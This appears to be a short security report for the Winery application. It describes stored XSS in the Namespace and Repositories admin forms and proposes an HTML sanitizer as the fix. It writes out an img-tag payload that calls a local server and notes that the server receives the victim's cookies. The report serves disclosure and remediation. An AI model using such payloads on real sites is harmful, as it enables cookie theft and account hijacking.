winery
winery copied to clipboard
Fix XSS
(Reported privatly)
XSS in Namespase:
- Go to Administration -> Namespase -> Add.
- Start local server that get handle GET request with headers.
- Add payload
<img/src=[http://localhost:8082/field_name>in each field name and save. - On local server we can see request from XSS payload with cookies.
XSS in Repositories:
- Go to Administration -> Repositories -> Add.
- Start local server that get handle GET request with headers.
- Add payload
<img/src=[http://localhost:8082/field_name>in each field name and save. - On local server we can see request from XSS payload with cookies.
Proposed fix: Apply https://github.com/owasp/java-html-sanitizer